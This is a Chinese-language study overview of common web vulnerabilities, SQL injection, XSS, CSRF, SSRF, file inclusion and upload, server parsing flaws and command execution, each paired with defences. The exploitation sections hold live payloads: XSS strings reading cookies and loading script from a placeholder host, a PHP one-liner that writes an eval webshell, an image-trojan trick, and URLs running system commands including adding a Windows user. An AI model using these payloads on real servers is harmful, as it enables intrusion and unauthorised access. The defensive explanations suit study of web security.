web常见漏洞原理,利用,防御
1.SQL注入
原理
把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令的目的。
利用
首先判断是否存在SQL注入,若存在,通过页面回显等一些特征用不同的方式注入。
常见的注入方式有:
1.union注入
2.Boolean注入
3.报错注入
4.延时注入
5.二次注入
6.宽字节注入
7.cookie注入
8.base64注入
9.XFF注入
10.文件读写
11.万能密码
tips:
1.in和regexp替换=
2.不一定要有空格
3.有函数的话用()
4.最后or'
防御
1.预编译(PreparedStatement)
采用PreparedStatement对SQL语句进行预编译,即SQL引擎会预先对语法进行分析,生成该SQL语句的语法树,由客户端输进去的参数值中的SQL命令将不会被执行,只会被当作字符串字面值参数。
2.PDO(php)
php5.1版本之后开始支持PDO,它提供了一组数据库抽象层API,PDO解决SQL注入的原理也是基于预编译 。
3.正则表达式过滤
对用户输入的数据进行严格的匹配,对危险字符串进行过滤,如’ " < > / * ; + - & | ( ) and or select union sleep等。
4.设置用户操作数据库权限
2.XSS(Cross-site scripting)
跨站脚本攻击
原理
攻击者往web页面里插入恶意Script代码,当别的用户浏览该页面时,嵌入web里的script代码会被执行,从而达到恶意攻击用户的行为。XSS常分为存储型、反射型、DOM型。
利用
XSS插入点:
用户输入的能够输出在页面代码中的地方,常见的有url中,评论留言区,个人信息,搜索框等。用户输入的可能是标签的内容,注释的内容,标签的属性名,标签的属性值,标签的名字等,根据不同位置进行不同的闭合。
XSS测试:
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script src=http://xxx.com/xss.js></srcipt>
<img src=1 onerror=alert(1)>
<img src=1 onerror=alert(document.cookie)>
<body onload=alert(1)>
<style onload=alert(1)></style>
<iframe src=" "><iframe>
防御
1.字符过滤:
对用户的输入进行关键字过滤,大小写过滤等等。黑名单和白名单过滤。
2.html编码:
对用户的输出进行html编码,将其转化为html实体。
2.cookie:
特殊的,在服务端设置会话Cookie的HTTP Only属性,则客户端的JS脚本就不能获取cookie信息了。
3.CSRF(Cross-site request forgery)
跨站请求伪造
原理
攻击者盗取受信任用户的身份(比如cookie信息),伪装成受信任用户来发送合法请求,但该合法请求是为了完成攻击者的而已目的。
利用
在存在CSRF漏洞处构造链接,在链接里写入攻击代码,诱导已登录的用户点击。
防御
1.验证HTTP Referer字段:
HTTP头中有一个Referer字段,它记录了HTTP请求的来源地址。通过验证Referer值判断请求的来源,只有允许的安全的来源才会被允许。但是验证Referer的方法是将安全性托付给了浏览器,如果浏览器有漏洞,就可以篡改Referer的值。
2.Anti-CSRF token:
在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。
3.在HTTP头中自定义属性并验证:
也是用token进行验证,将token放到HTTP头中自定义的属性里,通过xmlHttpRequest这个类实现。
4.SSRF(Sever-Side Request Forgery)
服务端请求伪造
原理
是一种由攻击者构造请求,由服务器端发起请求的漏洞。有些web应用提供了从其他服务器上获取数据的功能,如获取图片,下载文件,读取内容等,又没有对其他服务器的url做过滤和限制,这个功能点就有可能被恶意利用。
利用
SSRF漏洞分析与利用:https://blog.csdn.net/qq_33020901/article/details/78461833
防御
1.限制请求的端口只能为web端口,只允许访问http和https的请求
2.限制不能访问内网的ip,以防止对内网进行攻击
3.屏蔽返回的详细信息
4.禁止30x跳转
5.文件包含
原理
后端代码文件中常常会有包含文件,如果这个包含的文件来源用户可以控制,且过滤不严,从而可以包含恶意文件达到攻击者目的。
利用
常见的包含文件函数:
PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual
本地包含和远程包含:
文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) ,且用户可以控制包含的变量。利用姿势:
包含本地文件分析报错信息等,包含本地一些敏感文件;
远程包含一句话木马。
防御
1.白名单过滤
6.文件上传
原理
在某处用户可以上传文件到服务器端,比如用户个人资料的头像,如果后端对用户上传的文件不做处理,攻击者可以利用这个功能上传自己的恶意文件,如木马,病毒,恶意脚本,后门等。
利用
各种绕过,上传一句话木马。
防御
1.前端js脚本检测后缀名
绕过:burp抓包修改文件后缀名
2.后端白名单和黑名单检测
黑名单检测:测试后端检测规则,进行绕过;利用系统解析漏洞。
白名单检测:00截断绕过(特定版本下)
3.Content-Type检测过滤
绕过:burp抓包修改content-type
4.getimagesize()函数检测是否的正常的图片大小
绕过:将木马写入图片里(copy /b 1.jpg+1.php 2.jpg)
5.图片二次渲染
6.文件重命名
7.文件解析
原理
文件解析时因为服务器的漏洞或者管理员配置不当导致特殊文件当成脚本执行,该类型漏洞常和文件上传漏洞一起利用。
利用
IIS解析漏洞
1.目录解析漏洞:
IIS5.x/6.0中,大多为windows server 2003,开发语句一般为asp。
形式:/xxx.asp/*.jpg
原理:服务器会默认把.asp .asa .cer .cdx目录下的文件解析成asp文件
2.文件名解析漏洞:
IIS5.x/6.0
形式:/xxx.asp;.jpg
原理:服务器默认不解析;后面的内容。
3.畸形解析漏洞:
IIS7.0,默认Fast-CGI开启,在图片里写入:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')>
将文件保存为test.jpg格式并上传到服务器
形式:/test.jpg/*.php
原理:与nginx解析漏洞类似,访问之后会在这个目录下生成一句话木马shell.php
4.操作系统解析漏洞:
windows环境下,xx.jpg[空格]或者xx.jpg.这文件命名不规范,windows会默认删除恐吓或者点,可以通过这种方法绕过黑名单检测,上传成功后,空格和点都会被windows自动清除。
Ngnix解析漏洞
1.畸形解析:
nginx<0.8.03,图片test.jpg,内容<?php phpinfo()?>
形式:/test.jpg/test.php显示access denied
原理:服务器看到后面是.php后缀文件,于是交给php去处理,但是没找到 test.php这个文件,于是将test.php删除,找到test.jpg文件当作php去执行。这里可以设置cgi.fix_pathinfo为0即可临时解决。高版本的php引入了security.limit_extensions,限制了可执行文件的后缀。
2.%00空字节截断:
nginx<=0.7.65
nginx0.8<0.8.37
形式:/1.jpg%00.php
原理:00截断
Apache解析漏洞
1.文件名解析:
形式:/test.php.abc.def
原理:apache是从右往左解析文件的,如果后缀名不可识别,就再往左判断。.abc和.def都是不可解析的,则apache会把test.php.abc.def解析为test.php。
2.配置:
如果apache的conf中有 AddHandler php5-script .php,这时只要文件里包含.php就能以php执行,如test.php.jpg。
还有其他配置问题等,还可以上传执行.htaccess,但前提必须是有权限。
8.命令执行
原理
指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
利用
通常与文件上传一起利用
index文件内容:
<?php eval($_REQUEST['code']);
访问:
/index.php?code=phpinfo();
/index.php?code=system(“ipconfig”);
/index.php?code=sysytem(“net user hack 123 /add”);
( & 、&& 、| 、 || 都可以作为命令连接符使用)
防御
1.针对一些执行函数进行过滤
2.管道符过滤等
9.目录浏览漏洞
原理
访问网站某一目录时,该目录没有默认首页文件或没有正确设置默认首页文件,将会把整个目录结构列出来,将网站结构完全暴露给攻击者
利用
攻击者可能通过浏览目录结构,使用web扫描漏洞扫描器等,访问到某些隐秘文件(网站管理员后台访问地址、数据库连接文件、某些配置文件等)
防御
关闭目录浏览功能
10.逻辑漏洞挖掘
越权访问(水平和垂直)
密码找回
密码修改
交易支付金额等